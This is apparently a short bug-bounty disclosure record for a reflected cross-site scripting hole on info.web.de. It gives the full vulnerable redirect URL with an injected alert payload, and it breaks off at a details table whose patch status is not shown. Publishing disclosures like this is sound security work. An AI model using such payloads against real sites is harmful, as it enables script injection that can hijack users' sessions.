info.web.de XSS vulnerability

Vulnerable URL: https://info.web.de/redi?lid=6426315666722063250=3592465=1752111=5998149=24003==184p=6001293p=24402p=1753094p=6426315666721997714p=3588149=https://games.web.de/games/m/strategie/goodgame-empire.html/?mc=05557728'-alert'OPENBUGBOUNTY'-' Details: Description| Value ---|--- Patched:|...